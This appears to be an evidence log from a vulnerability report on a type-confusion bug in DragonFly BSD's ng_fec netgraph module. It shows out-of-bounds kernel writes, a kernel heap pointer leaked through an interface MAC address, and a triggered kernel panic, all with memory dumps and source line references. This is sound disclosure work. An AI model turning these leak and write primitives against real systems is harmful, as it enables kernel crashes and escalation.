DF-3501 / run.log
# DF-3501 evidence: ng_fec_addport arpcom type confusion (v1 ng_fec)
Guest: DragonFly 6.5-DEVELOPMENT #0 (INVARIANTS), vtnet0 + lo0, netgraph v1.
Module under test: ng_fec.ko rebuilt from guest /usr/src HEAD with ONLY the
DF-3499 enabler fix (bcopy NULL guard) applied -- the addport code under test
is stock. Driver: fecdrive.ko (sysctl-driven, thread context; required because
the stock csock path runs rcvmsg in netisr where ifnet_lock() KASSERTs -- see
DF-3500).
## Step 1: lo0 tail BEFORE (all zeros past the 928-byte ifnet allocation)
DUMPIF: lo0 ifp=0xfffff8008e0ead40 sizeof(struct ifnet)=928 sizeof(struct arpcom)=952 off(ac_enaddr)=928 off(ac_netgraph)=944
DUMPIF: lo0 tail+ 0 (ifnet_end0): 0000000000000000
DUMPIF: lo0 tail+ 8 (ifnet_end8): 0000000000000000
DUMPIF: lo0 tail+ 16 (ifnet_end16): 0000000000000000
DUMPIF: lo0 tail+ 24 (ifnet_end24): 0000000000000000
lo0's ifnet is a standalone kmalloc(sizeof(struct ifnet)) == 928 bytes
(sys/net/if_loop.c:111). ac_enaddr lands exactly at +928, ac_netgraph at +944.
## Step 2: create fec0, add vtnet0 (first member), add lo0 (second member)
FECDRIVE: ng_make_node(fec) = 0 node=0xfffff8004f1ae2e0
FECDRIVE: add 'vtnet0' = 0
$ ifconfig fec0 | grep ether
ether 52:54:00:12:34:56 <- fec0 took vtnet0's MAC (in-bounds copy)
FECDRIVE: add 'lo0' = 0
## Step 3: lo0 tail AFTER -> OOB WRITE PROOF
DUMPIF: lo0 tail+ 0 (ifnet_end0): 0000563412005452
DUMPIF: lo0 tail+ 8 (ifnet_end8): 0000000000000000
DUMPIF: lo0 tail+ 16 (ifnet_end16): fffff8004f1ae2e0
DUMPIF: lo0 tail+ 24 (ifnet_end24): 0000000000000000
tail+0 = 52 54 00 12 34 56 00 00 -> vtnet0's MAC (52:54:00:12:34:56),
6 attacker-known bytes written at lo0_ifp+928..933 (ac_enaddr slot)
tail+16 = 0xfffff8004f1ae2e0 -> the fec0 ng_node heap pointer,
8 bytes written at lo0_ifp+944..951 (ac_netgraph slot)
Both writes land OUTSIDE the 928-byte allocation (ng_fec.c:378-405 blindly
casts any ifnet to struct arpcom; no if_type validation). On this build the
slab chunk class for 928 bytes is 960, so the writes fall in the 32-byte
inter-chunk slack; any layout/struct-size change or a member ifnet allocated
without slack turns this into adjacent-object corruption. Step 5 shows the
same write landing in live driver fields.
## Step 4: kernel heap pointer LEAK via fec MAC (gif as first member)
# ifconfig gif1 create; ifconfig gif1 tunnel 10.0.2.15 10.0.2.2
# (gif1 configured -> gif_softc.gif_psrc = heap sockaddr pointer)
FECDRIVE: cmd='create2'
FECDRIVE: ng_make_node(fec) = 0 node=0xfffff8004f1ae3a0 <- fec1
FECDRIVE: addg 'gif1' = 0
$ ifconfig fec1 | grep ether
ether f0:2d:0a:4f:00:f8
low 6 bytes (LE) of gif1->gif_psrc = f0 2d 0a 4f 00 f8
-> full kernel pointer 0xfffff8004f0a2df0 (classic DFly kheap pattern),
read from gif_softc+928 (past gif_if, ng_fec.c:388-391) and disclosed
as the fec1 interface MAC (world-readable via getifaddrs/SIOCGIFADDR).
## Step 5: live-field corruption -> kernel GPF panic (gif as second member)
# ifconfig gif0 create (unconfigured, gif_psrc == NULL)
FECDRIVE: addg 'gif0' = 0
# ifconfig gif0
Fatal trap 9: general protection fault while in kernel mode
cpuid = 4; lapic id = 4
instruction pointer = 0x8:0xffffffff8073accf
current process = 1407 (ifconfig)
Stopped at gif_ioctl+0x9f: movzbl (%rsi),%ecx
Adding gif0 as the second member wrote fec1's MAC bytes over gif0's
gif_psrc (gif_softc+928..933) making it a non-NULL garbage pointer
(0x0000f8004f0a2df0); the first `ifconfig gif0` dereferenced it in
gif_ioctl (sys/net/gif/if_gif.c gif_getconfig path, ~line 611-678)
and faulted. Same code also writes the ng_node pointer at gif_softc+944
(over gif_ro[0]).
## Conclusion
ng_fec_addport performs three arpcom-field accesses against ANY ifnet:
ng_fec.c:379 ac->ac_netgraph = priv->node (8-byte ptr write)
ng_fec.c:388 read ac->ac_enaddr -> fec MAC (6-byte OOB read = leak)
ng_fec.c:404 write fec MAC -> ac->ac_enaddr (6-byte known-value write)
For non-arpcom ifnets these land out-of-allocation (lo0: standalone
kmalloc'd ifnet) or on live driver fields (gif: gif_psrc/gif_ro).